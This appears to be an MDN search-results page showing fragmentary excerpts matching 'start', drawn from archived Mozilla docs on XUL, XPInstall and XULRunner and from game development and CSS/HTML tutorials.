only the quick lookup part of the game, border collapse is still far away cellmap data - overview the entries in the cellmap contain information about the table cell frame corresponding to a given row and column number (celldata.h). further it contains info whether this entry is a row- or colspan. 79 // this union relies on the assumption that an object (not primitive type) does 80 // not
start on an odd bit boundary. if mspan is 0 then morigcell is in effect 81 // and the data does not represent a span. if mspan is 1, then mbits is in 82 // effect and the data represents a span. 83 union { 84 nstablecellframe* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell ce...
...etrowcount() > rowindex) { // add your action here } rowindex -= map->getrowcount(); map = map->getnextsibling(); } data entry the usual way to populate the cellmap is via nstableframe::insertrows. enabling the debug code at the function entrance and exit gives a quite complete picture of the cellmap structure. below follows the dump for the 2x2 table. ...
... the usual way to populate the cellmap is via nstableframe::insertrows. enabling the debug code at the function entrance and exit gives a quite complete picture of the cellmap structure. below follows the dump for the 2x2 table. ...
...And 2 more matches
Abc Assembler Tests - Archive of obsolete content
it is possible to write tests using the abc assembler. the assembler code can be found in /utils/abcasm. tests can be found in /test/acceptance/abcasm and end with the .abs extension. the tests are run using the same runtests.py script that is used for the actionscript tests. ...
...write tests using the abc assembler. the assembler code can be found in /utils/abcasm. tests can be found in /test/acceptance/abcasm and end with the .abs extension. the tests are run using the same runtests.py script that is used for the actionscript tests. ...
...e your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. ...
...And 2 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
s a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed. it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to re
start their browser. for plugin vendors who have already written a native code (e.g. exe) installer, xpinstall can wrap this native installer and run it so that the user never has to leave the browsing environment and click on the exe to run it. this article presents a guideline for improving the plugin installation experience for netscape gecko browsers using xpinstall. a definition of terms xpinst...
... install to the current browser that is initiating the xpinstall installation via html or triggering an xpinstall installation via a trigger script. we will use the term current browser to refer to the browser that initiates the xpinstall download by visiting a site which requires a plugin that the current browser can not find locally. this step will involve the use of the initinstall api call to
start everything off, and also the getfolder api call, which helps to locate the current browser's plugin directory. install the plugin software to another location on the user's hard disk, so that other mozilla-based browsers that the user may install later can find the plugin (the browser specific components) and pick it up. the goal is to ensure that future netscape gecko browsers that the user may...
...vered in the section on the first install problem. to actually create and write keys to the windows system registry, you'll use the functions of the winreg object. ensure that the plugin that has just been installed is refreshed by correctly invoking the refreshplugins api. by refreshing your plugin, you're ensuring that the plugin is available for use immediately, without obliging the user to re
start their browser. this is one of the chief advantages of a smooth xpinstall experience. the first install problem the first install problem refers to the conditions arising when a plugin arrives on a user's machine before a browser arrives. the recommended install process addresses this issue, which is to install to a secondary location after installing to the current browser. in a nutshell, the ...
...And 2 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
toolkit applications (such as firefox) use a different autocomplete mechanism than the mozilla suite. the example below will create an autocomplete textbox that will search the user's history. ...
...lumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, selectionend, selection
start, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...y. elements with a higher tabindex are later in the tab sequence. tabscrolling new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the user may cycle through the results list by pressing the tab key. if false, the default, the tab key moves the focus to the next element. timeout type: integer for autocomplete textboxes, the number of milliseconds before the textbox
starts searching for completions. the default is 50 milliseconds. for search textboxes, the number of milliseconds before the timer fires a command event. the default is 500 milliseconds. for timed textboxes, the number of milliseconds before the timer fires a command event. there is no default. the timer
starts after the user types a character. if the user types another character, the timer resets. ...
...And 2 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
the autocomplete functionality is handled through one of more session objects, each of which can return a set of results given the current value of the textbox. ...
... accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, issearching, iswaiting, label, maxlength, maxrows, minresultsforpopup, nomatch, open, popup, popupopen, resultspopup, searchcount, searchparam, searchsessions, selectionend, selection
start, sessioncount, showcommentcolumn, showpopup, size, tabindex, tabscrolling, textlength, textvalue, timeout, type, useraction, value methods addsession, clearresults, getdefaultsession, getresultat, getresultcount, getresultvalueat, getsession, getsessionbyname, getsessionresultat, getsessionstatusat, getsessionvalueat, removesession, select, setselectionrange, syncsessions example...
...ecko 1.9.1, this attribute is now always specified in lower case. tabscrolling new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the user may cycle through the results list by pressing the tab key. if false, the default, the tab key moves the focus to the next element. timeout type: integer for autocomplete textboxes, the number of milliseconds before the textbox
starts searching for completions. the default is 50 milliseconds. for search textboxes, the number of milliseconds before the timer fires a command event. the default is 500 milliseconds. for timed textboxes, the number of milliseconds before the timer fires a command event. there is no default. the timer
starts after the user types a character. if the user types another character, the timer resets. ...
...And 2 more matches
Complete - Archive of obsolete content
ings it needs from the xul. for more information about working with locales, see the main localization page here. how a text sting gets localized when you press button 1 you see an message in english or french, depending on your application's locale. this is how it happens: for example, if your locale is fr-fr, it loads: locale/fr-fr/allcustom/allcustom.dtd from inside the jar file. when you re
start after installing the extension, the locales en-us and fr-fr are both registered for the component allcustom. you can see the registration details in chrome.manifest (firefox, etc.) or in installed-chrome.txt and chrome.rdf (seamonkey). when the xul file, allcustom.xul is loaded, the doctype declaration near the top loads a dtd from chrome://allcustom/locale/. the application's chrome registry c...
...nd the properties file, specifying the url: chrome://allcustom/locale/install.properties again, the application's chrome registry converts this url to the correct file for the locale you are using. for example, if your locale is fr-fr, it gets the description from: locale/fr-fr/allcustom/install.properties testing a locale to test the alternative locale, install the extension in the normal way. re
start the application using the command line switch: -uilocale fr-fr (of course, if your application is already in french, specify en-us here to switch the extension to english.) notes: if you use a shortcut or launcher icon to
start the application, then you can add the command line switch by editing the icon's properties. the application's user interface only switches language if you have the ap...
...iting the icon's properties. the application's user interface only switches language if you have the appropriate language pack installed. but this extension switches between english and french without needing any language pack. some versions of firefox etc. have a bug that prevents this from working. to work around the bug, close the application, delete the file xul.mfl in its profile, then re
start it with the command line switch. firefox etc. support specifying the language alone, without any region—for example, just: -uilocale fr seamonkey does not support this. themes a theme changes the appearance of the user interface, affecting fonts, colours, graphics, and sometimes layout. a theme consists of a skin for each component. this extension is just one component, allcustom, so it cont...
...And 2 more matches
textbox - Archive of obsolete content
ewlines, onblur, onchange, onfocus, oninput, placeholder, preference, readonly, rows, searchbutton, size, spellcheck, tabindex, timeout, type, value, wrap, wraparound properties accessibletype, clickselectsall, decimalplaces, decimalsymbol, defaultvalue, disabled, editor, emptytext, increment, inputfield, label, max, maxlength, min, placeholder, readonly, searchbutton, selectionend, selection
start, size, spinbuttons, tabindex, textlength, timeout, type, value, valuenumber, wraparound methods decrease, increase, reset, select, setselectionrange style classes plain examples <vbox> <label control="your-name" value="enter your name:"/> <textbox id="your-name" value="john"/> </vbox> attributes cols type: integer for multiline textboxes, the number of columns to disp...
...ult value is 100 for scales and infinity for number boxes. maxlength type: integer the maximum number of characters that the textbox allows to be entered. min type: integer the minimum value the textbox's value may take. the default value is 0. multiline type: boolean if true, the textbox displays multiple lines. if the user presses enter, a new line is
started. if false, the textbox only allows entry of one line. newlines type: one of the values below how the text box handles pastes with newlines in them. possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces ...
...d autocorrect attributes too! added from david walsh's article on spell check. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. timeout type: integer for autocomplete textboxes, the number of milliseconds before the textbox
starts searching for completions. the default is 50 milliseconds. for search textboxes, the number of milliseconds before the timer fires a command event. the default is 500 milliseconds. for timed textboxes, the number of milliseconds before the timer fires a command event. there is no default. the timer
starts after the user types a character. if the user types another character, the timer resets. ...
...And 2 more matches
Debugging a XULRunner Application - Archive of obsolete content
.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; leaving them as-is can significantly harm performance and usability. see: preference reference for more information about these preferences. console to enable a console on windows,
start xulrunner with the -console argument. note that -console goes after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -console to output text to the console, use dump("my text here\n");. this will only work if the pref pref("browser.dom.window.dump.enabled", true) is enabled. to output dump calls instead to a file, set browser.dom.window.dump.file to the file destination...
...note that -console goes after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -console to output text to the console, use dump("my text here\n");. this will only work if the pref pref("browser.dom.window.dump.enabled", true) is enabled. to output dump calls instead to a file, set browser.dom.window.dump.file to the file destination where the log should be created and re
start the application. if you would like the console messages to appear in the console you used to launch the application, you can use the gecko console redirector. precompiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want. then...
...sole you used to launch the application, you can use the gecko console redirector. precompiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want. then run console redirector.exe /? javascript console to enable the js console,
start xulrunner with the -jsconsole argument. note: if you are not using the stub executable to launch the application, the -jsconsole argument is after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -jsconsole by default the js console only shows errors from web content. to show errors in chrome javascript, the pref pref("javascript.options.showinconsole", true) must be se...
...And 2 more matches
Building a Theme - Archive of obsolete content
browser's ui with css firefox's user interface is written in xul and javascript. xul is an xml grammar that provides user interface widgets like buttons, menus, toolbars, trees, etc. user actions are bound to functionality using javascript. these xul elements are styled using css. if you don't know css, it's going to be a steep learning curve, and you may want to try some html-based tutorials to
start with. the browser ui has absolutely no styling on its own - if you try to
start up with an empty theme, firefox will be unusable, as the button elements will be drawn as plain text. this is why we copied the default styles in the setup step. when writing a theme, the easiest way to determine what css selectors you need to write is to use the dom inspector which you should have installed in the ...
...note in firefox 4.0 and up, the highlight feature of dom inspector is broken. to workaround this, disable hardware acceleration in firefox' options. open up the dom inspector now (located under the "tools" menu), and go to "file->inspect chrome document". this will be a menu containing all the xul documents currently open in firefox. pick the first document with a web page title, like "firefox
start page" and select it. for this tutorial, we're going to update the background color of the toolbars. select the node finding tool (the arrow-plus-box in the top-left corner of the dom inspector), and click on any unused space on a toolbar. this should select a node of type "xul:toolbar" in the dom inspector. from here, you can play around with various different stylings for the toolbar and assoc...
...ely, this means that the url chrome://browser/skin/some/path/file.css will look for a file browser/some/path/file.css in your theme's root directory. save the file. test first, we need to tell firefox about your theme. during the development phase for firefox versions 2.0 and higher, you can point firefox to the folder where you are developing the theme, and it'll load it up every time you re
start firefox. locate your profile folder and beneath it the profile you want to work with (e.g. firefox/profiles/<profile_id>.default/). open the extensions/ folder, creating it if need be. create a new text file and put the full path to your development folder inside (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). windows users should retain the os' slash direction, and everyone should remembe...
...And 2 more matches
Using workers in extensions - Archive of obsolete content
then it sets the worker's onmessage event handler to a function which looks at the event passed into it, and does one of two things: if there is a data field on the event, the stock symbol being tracked is set to the upper c...
...request(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(event) { if (event.data) { symbol = event.data.touppercase(); } refreshinformation(); } when the worker thread is
started, the main body of this code (in lines 26-35) is executed. it
starts by setting up an interval handler (in lines 26-28) that calls refreshinformation() every 10 minutes. then it sets the worker's onmessage event handler to a function which looks at the event passed into it, and does one of two things: if there is a data field on the event, the stock symbol being tracked is set to the upper case version of that value. this is used to initialize the worker, and...
...an exception is thrown (lines 4-6). when the result is received from xmlhttprequest, instead of immediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method. this is because only the main thread is allowed to access the user interface. the main thread the changes here are also relatively minor, but crucial. ...
...And 2 more matches
-ms-filter - Archive of obsolete content
ft.motionblur(strength=50) progid:dximagetransform.microsoft.basicimage(mirror=1)" src="/workshop/samples/author/dhtml/graphics/cone.jpg" height="80px" width="80px" alt="cone"> the following example shows how to use scripting to set the filter on an image. code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_s.htm <body> <p>click the image to
start the filter.</p> // call the function. <div id="filterfrom" style="position: absolute; width: 200px; height: 250px; background-color: white; filter: revealtrans()"> <img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"...
...m.filters.item(0).apply(); // 12 is the dissolve filter. filterfrom.filters.item(0).transition=12; imagefrom.style.visibility = "hidden"; filterto.style.visibility = ""; filterfrom.filters.item(0).play(14); } </script> </body> gradient progid:dximagetransform.microsoft.gradient( <properties> ) where <properties> = [ <enabled> | <endcolor> | <endcolorstr> | <gradienttype> | <
startcolor> | <
startcolorstr> ]# where <enabled> = 'enabled=' [ true | false ] <endcolor> = '
startcolor=' <color> <endcolorstr> = '
startcolorstr=' <color> <gradienttype> = 'gradienttype=' <integer> <
startcolor> = '
startcolor=' <color> <
startcolorstr> = '
startcolorstr=' <color> enabled default: true set to false to disable. endcolor the end color, supports only opaque colors in the #rrggbb notat...
...se to disable. endcolor the end color, supports only opaque colors in the #rrggbb notation. endcolorstr the end color, supports both opaque colors (#rrggbb) and colors with alpha opacity using the #aarrggbb notation. gradienttype default: 0 (equivalent to linear-gradient(to bottom, …)) set to a non-zero value to make the gradient horizontal (equivalent to linear-gradient(to right, …))
startcolor the end color, supports only opaque colors in the #rrggbb notation.
startcolorstr the end color, supports both opaque colors (#rrggbb) and colors with alpha opacity using the #aarrggbb notation. html <div class="gradient horizontal"></div> <div class="gradient vertical"></div> css html, body { overflow-x: hidden; max-width: 100vw; } .gradient { width: 100vw; height: 60px; ...
...And 2 more matches
Building Mozilla XForms - Archive of obsolete content
have a look at the build instructions for detailed information for your platform. ...
...have a look at the build instructions for detailed information for your platform. ...
...have a look at the build instructions for detailed information for your platform. ...
...And 2 more matches
Building up a basic demo with Babylon.js - Game development
cturing the necessary html, and writing the javascript code. we will try to create a simple demo first — a cube rendered on the screen. if you have already worked through our building up a basic demo series with three.js, playcanvas or a-frame (or you are familiar with other 3d libraries) you'll notice that babylon.js works on similar concepts: camera, light and objects. environment setup to
start developing with babylon.js, you don't need much. you should
start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. creating a directory to store your experiments in. saving a copy of the latest babylon.js engine inside your directory. opening the babylon.js documentation in a separate tab — it is useful to refer to. html s...
...ll write our example code in the second one. there is one helper variable already included, which will store a reference to the <canvas> element. before reading on, copy this code to a new text file and save it in your working directory as index.html. initialising the babylon.js engine we have to create a babylon.js engine instance first (passing it the <canvas> element to render on) before we
start developing our game. add the following code to the bottom of your second <script> element: var engine = new babylon.engine(canvas); the babylon global object contains all the babylon.js functions available in the engine. creating a scene a scene is the place where all the game content is displayed. while creating new objects in the demo, we will be adding them all to the scene to make them v...
...ion () { scene.render(); }; engine.runrenderloop(renderloop); we're using the engine's runrenderloop() method to execute the renderloop() function repeatedly on every frame — the loop will continue to render indefinitely until told to stop. creating a camera now the setup code is in place we need to think about implementing the standard scene components: camera, light and objects. let's
start with the camera — add this line to your code below the scene creation and the line where we defined the clearcolor. var camera = new babylon.freecamera("camera", new babylon.vector3(0, 0, -10), scene); there are many cameras available in babylon.js; freecamera is the most basic and universal one. to initialize it you need to pass it three parameters: any name you want to use for it, the coor...
...And 2 more matches
Building up a basic demo with PlayCanvas editor - Game development
instead of coding everything from scratch you can also use the online playcanvas editor. this can be a more pleasant working environment if you are not someone who likes to code. ...
...given a simple
starter tutorial involving editing a 3d rolling ball game. you can finish this before you continue our tutorial if you like. when you are ready to continue with our tutorial, go to your canvas homepage — for example mine is https://playcanvas.com/end3r. here's what the page looks like — you can create projects and manage them, change their settings etc. creating a new project
start a brand new project by clicking on the new button: the resulting dialog box will show a few different options. there are
starter kits available, but we don't want to load models or
start a platform game. ...
... click create to have it created. ...
...And 2 more matches
Desktop gamepad controls - Game development
so the proper text can be shown. then we can keep the track of the information about pressed buttons by using the gamepad.update() method, and react to the given information: update: function() { // ... ...
... shown. then we can keep the track of the information about pressed buttons by using the gamepad.update() method, and react to the given information: update: function() { // ... ...
... // turn on/off the sounds } if(gamepadapi.buttons.pressed('y','hold')) { if(!this.screengamepadhelp.visible) { this.screengamepadhelp.visible = true; } } else { if(this.screengamepadhelp.visible) { this.screengamepadhelp.visible = false; } } } } when pressing the
start button the relevant function will be called to begin the game, and the same approach is used for turning the audio on and off. there's an option wired up to show screengamepadhelp, which holds an image with all the button controls explained — if the y button is pressed and held, the help becomes visible; when it is released the help diappears. on-screen instructions when the game is
started...
...And 2 more matches
Efficient animation for web games - Game development
ate with game animation state, you’re unlikely to be able to do a better job than the browser. the reason for this is that css transitions/animations are much higher level than javascript, and express a very specific intent. because of this, the browser can make some assumptions that it can’t easily make when you’re manually tweaking values in javascript. to take a concrete example, if you
start a css transition to move something from off-screen so that it is fully visible on-screen, the browser knows that the related content will end up completely visible to the user and can then pre-render that content. when you animate position with javascript, the browser cannot easily make that same assumption, and so you might end up causing it to draw only the newly-exposed region of content, whic...
... of time and set your animation properties based on elapsed time. requestanimationframe includes a domhighrestimestamp in its callback function prototype, which you definitely should use (as opposed to using the date object), as this will be the time the frame began rendering, and ought to make your animations look more fluid. ...
...should use (as opposed to using the date object), as this will be the time the frame began rendering, and ought to make your animations look more fluid. you may have a callback that ends up looking something like this: var
starttime = -1; var animationlength = 2000; // animation length in milliseconds function doanimation(timestamp) { // calculate animation progress var progress = 0; if (
starttime < 0) {
starttime = timestamp; } else { progress = timestamp -
starttime; } // do animation ... ...
...And 2 more matches
Visual-js game engine - Game development
1) click create application 2) enter new application name in input prompt 3) select folder for server part of application (important : www is not secure place) 4) select folder for client part of application ( any path in www) 5) new app name will appear in project list , select and click open application 6) open your server folder : install node.js modules one way - use wind...
...t folder with prefix install_ ) second way - open cmd terminal and enter next command : npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 very easy installation and project files generator . now you can use on-page-editor (nice for visual setup , checking positions and dimensions - not for logic ) . ...
...d terminal and enter next command : npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 very easy installation and project files generator . now you can use on-page-editor (nice for visual setup , checking positions and dimensions - not for logic ) . manual
start from cmd : server_folder/node editor.js after
starting on-page-editor open browser icon to open internet browser in editor mode . see video explanation : if you use editor.js to visual create game object method , you must
start ***node build_from_editor_to_visual_js_file.js*** on the end of work. this tool will create visual.js in folder
starter/ with all your game object was created in editor style . or you can use visual-js source edi...
...And 2 more matches
Visual typescript game engine - Game development
/** * appuseaccountssystem if you don't want to use session * in your application just setup this variable to the false. */ private appuseaccountssystem: boolean = false; /** * appusebroadcaster disable or enable broadcaster for * video chats. */ private appusebroadcaster: boolean = false; /** * possible variant by default : * "register", "login" */ private
startuphtmlform: string = "register"; private gamelist: any[]; /** * implement default gameplay variable's */ private defaultgameplaylevelname: string = "level1"; private auto
startgameplay: boolean = true;
start the dependency system from app.ts the first game template is platformer. this is high-level programming in this software. class gameplay extends platformer, it good for star...
...it is injected to the platformer to make full operated work. gameslist args for ioc constructor is for now just symbolic for now. ...
...elations. use it for your own structural changes. main dependency file // symbolic for now const plarformergameinfo = { name: "crypto-runner", title: "play platformer crypto runner!", }; // symbolic for now const gameslist: any[] = [ plarformergameinfo, ]; const master = new ioc(gameslist); const appicon: appicon = new appicon(master.get.browser); master.singlton(platformer, master.get.
starter); console.log("platformer: ", master.get.platformer); master.get.platformer.attachappevents(); project structure builds/ is autogenerated. don't edit or add content in this folder. src,/ is the main client part (browser web application). main file: app.ts src/libs/ is a common and smart pack of classes, interfaces etc. easy access. server/ folder is fully independent server size. i use ...
...And 2 more matches
Test your skills: HTML accessibility - Learn web development
and why they are good for accessibility. the given text is a simple information panel with action buttons, but the html is really bad. we want you to update it use appropriate semantic html. you don't need to worry too much about recreating the exact same look and text sizing, as long as the semantics are good. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. html accessibility 2 in the second task, you have a form containing three input fields. you need to: semantically associate the input with their labels. assume that these inputs will be part of a larger form, and wrap them in an element that associates them all together as a single related group. give the group a de...
...ields. you need to: semantically associate the input with their labels. assume that these inputs will be part of a larger form, and wrap them in an element that associates them all together as a single related group. give the group a description/title that summarises all of the information as personal data. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. html accessibility 3 in this task you are required to turn all the information links in the paragraph into good, accessible links. the first two links just go to regular web pages. the third link goes to a pdf, and it's large — 8mb. the fourth link goes to a word document, so the user will need some kind of applic...
...ired to turn all the information links in the paragraph into good, accessible links. the first two links just go to regular web pages. the third link goes to a pdf, and it's large — 8mb. the fourth link goes to a word document, so the user will need some kind of application installed that can handle that. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. html accessibility 4 in our final html accessibility task, you are given a simple image gallery, which has some accessibility problems. can you fix them? the header image has an accessiiblity issue, and so do the gallery images. you could take the header image further and implement it using css for arguably better ac...
...And 2 more matches
Handling different text directions - Learn web development
vertical-rl writing mode the block direction runs right-to-left horizontally. so the block dimension is always the direction blocks are displayed on the page in the writing mode in use. the inline dimension is always the direction a sentence flows. this figure shows the two dimensions when in a horizontal writing mode. this figure shows the two dimensions in a vertical writing mode. once you
start to look at css layout, and in particular the newer layout methods, this idea of block and inline becomes very important. we will revisit it later on. direction in addition to writing mode we also have text direction. as mentioned above, some languages such as arabic are written horizontally, but right-to-left. this is not something you are likely to use in a creative sense — if you simply wan...
...you simply want to line something up on the right there are other ways to do so — however it is important to understand this as part of the nature of css. the web is not just for languages that are displayed left-to-right! due to the fact that writing mode and direction of text can change, newer css layout methods do not refer to left and right, and top and bottom. instead they will talk about
start and end along with this idea of inline and block. don't worry too much about that right now, but keep these ideas in mind as you
start to look at layout; you will find it really helpful in your understanding of css. logical properties and values the reason to talk about writing modes and direction at this point in your learning however, is because of the fact we have already looked at a lot of ...
...roperties in the last two lessons we have learned about the css box model, and css borders. in the margin, border, and padding properties you will find many instances of physical properties, for example margin-top, padding-left, and border-bottom. in the same way that we have mappings for width and height there are mappings for these properties. the margin-top property is mapped to margin-block-
start — this will always refer to the margin at the
start of the block dimension. the padding-left property maps to padding-inline-
start, the padding that is applied to the
start of the inline direction. this will be where sentences
start in that writing mode. the border-bottom property maps to border-block-end, which is the border at the end of the block dimension. you can see a comparison between...
...And 2 more matches
Test your skills: Grid Layout - Learn web development
section at the bottom of this page. grid layout one in this task you should create a grid into which the four child elements will auto-place. the grid should have three columns sharing the available space equally, and a 20-pixel gap between the column and row tracks. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. grid layout two in this example we already have a grid defined. by editing the css rules for the two child elements, cause them to span over several grid tracks each; the second item should overlay the first as in the image below. try updating the live code below to recreate the finished example: additional questio...
... for the two child elements, cause them to span over several grid tracks each; the second item should overlay the first as in the image below. try updating the live code below to recreate the finished example: additional questions: can you now cause the first item to display on top without changing the order of items in the source? for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. grid layout three there are four direct children in this grid; the
starting point has them displayed using auto-placement. use the grid-area and grid-template-areas properties to lay the items out as shown in the image. try updating the live code below to recreate the finished example: for assessment or further wo...
... work in your own editor or in an online editor. grid layout three there are four direct children in this grid; the
starting point has them displayed using auto-placement. use the grid-area and grid-template-areas properties to lay the items out as shown in the image. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. grid and flex layout 4 you will need to use both grid layout and flexbox to recreate the example as seen in the image. you do not need to make any changes to the html in order to do this. ...
...And 2 more matches
Introduction to CSS layout - Learn web development
ly in any language with a vertical writing mode, such as japanese. the corresponding inline direction is the direction in which inline contents (such as a sentence) would run. for many of the elements on your page the normal flow will create exactly the layout you need, however for more complex layouts you will need to alter this default behavior using some of the tools available to you in css.
starting with a well-structured html document is very important, as you can then work with the way things are laid out by default rather than fighting against it. the methods that can change how elements are laid out in css are as follows: the display property — standard values such as block, inline or inline-block can change how elements behave in normal flow, for example making a block-level el...
...ence. the fact that you can change the value of display for any element means that you can pick html elements for their semantic meaning, without being concerned about how they will look. the way they look is something that you can change. in addition to being able to change the default presentation by turning an item from block to inline and vice versa, there are some bigger layout methods that
start out as a value of display. however, when using these, you will generally need to invoke additional properties. the two values most important for our purposes when discussing layout are display: flex and display: grid. flexbox flexbox is the short name for the flexible box layout module, designed to make it easy for us to lay things out in one dimension — either as a row or as a column. to use...
...they are displayed in a row, because the initial value of flex-direction set on their parent is row. they all appear to stretch to the height of the tallest item, because the initial value of the align-items property set on their parent is stretch. this means that the items stretch to the height of the flex container, which in this case is defined by the tallest item. the items all line up at the
start of the container, leaving any extra space at the end of the row. flexbox example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> in addition to th...
...And 2 more matches
Beginner's guide to media queries - Learn web development
ic screen sizes. lists of the sizes of the screens of popular phones and tablets were published in order that designs could be created to neatly match those viewports. there are now far too many devices, with a huge variety of sizes, to make that feasible. this means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content
starts to break in some way. perhaps the line lengths become far too long, or a boxed out sidebar gets squashed and hard to read. that's the point at which you want to use a media query to change the design to a better one for the space you have available. this approach means that it doesn't matter what the exact dimensions are of the device being used, every range is catered for. the points at which a...
...nown as breakpoints. the responsive design mode in firefox devtools is very useful for working out where these breakpoints should go. you can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design. active learning: mobile first responsive design broadly, you can take two approaches to a responsive design. you can
start with your desktop or widest view and then add breakpoints to move things around as the viewport becomes smaller, or you can
start with the smallest view and add layout as the viewport becomes larger. this second approach is described as mobile first responsive design and is quite often the best approach to follow. the view for the very smallest devices is quite often a simple single column of co...
...ly don't need to do a lot of layout for small devices — order your source well and you will have a readable layout by default. the below walkthrough takes you through this approach with a very simple layout. in a production site you are likely to have more things to adjust within your media queries, however the approach would be exactly the same. walkthrough: a simple mobile-first layout our
starting point is an html document with some css applied to add background colors to the various parts of the layout. * { box-sizing: border-box; } body { width: 90%; margin: 2em auto; font: 1em/1.3 arial, helvetica, sans-serif; } a:link, a:visited { color: #333; } nav ul, aside ul { list-style: none; padding: 0; } nav a:link, nav a:visited { background-color: rgba(...
...And 2 more matches
How CSS is structured - Learn web development
plying css to a document: with an external stylesheet, with an internal stylesheet, and with inline styles. external stylesheet an external stylesheet contains css in a separate file with a .css extension. this is the most common and useful method of bringing css to a document. you can link a single css file to multiple web pages, styling all of them with the same css stylesheet. in the getting
started with css, we linked an external stylesheet to our web page. you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet ...
...{ color: red; } when you find css that you want to experiment with, replace the html <body> contents with some html to style, and then add your test css code to your css file. as an altenative, you can also use the interactive editor below. read on and have fun! selectors a selector targets html to apply styles to content. we have already discovered a variety of selectors in the getting
started with css tutorial. if css is not applying to content as-expected, your selector may not match the way you think it should match. each css rule
starts with a selector—or a list of selectors—in order to tell the browser which element or elements the rules should apply to. all the examples below are valid selectors, or lists of selectors. h1 a:link .manythings #onething * .box p .box p:first...
...ial value. this means an omission in css shorthand can override previously set values. comments as with any coding work, it is best practice to write comments along with css. this helps you to remember how the code works as you come back later for fixes or enhancement. it also helps others understand the code. css comments begin with /* and end with */. in the example below, comments mark the
start of distinct sections of code. this helps to navigate the codebase as it gets larger. with this kind of commenting in place, searching for comments in your code editor becomes a way to efficiently find a section of code. /* handle basic element styling */ /* -------------------------------------------------------------------------------------------- */ body { font: 1em/150% helvetica, arial, sa...
...And 2 more matches
Client-side form validation - Learn web development
the form and display an error message. note: there are several errors that will prevent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror. built-in form validation examples in this section, we'll test out some of the attributes that we discussed above. simple
start file let's
start with a simple example: an input that allows you to choose whether you prefer a banana or a cherry. this example involves a simple text <input> with an associated <label> and a submit <button>. find the source code on github at fruit-
start.html and a live example below. <form> <label for="choose">would you prefer a banana or cherry?</label> <input id="choose" name="i_like"> ...
... the required attribute the simplest html5 validation feature is the required attribute. to make an input mandatory, add this attribute to the element. ...
...n twitter when tweeting. javascript, including solutions using maxlength, can be used to provide this constraining the values of your entries for number fields (i.e. <input type="number">), the min and max attributes can be used to provide a range of valid values. if the field contains a value outside this range, it will be invalid. let's look at another example. create a new copy of the fruit-
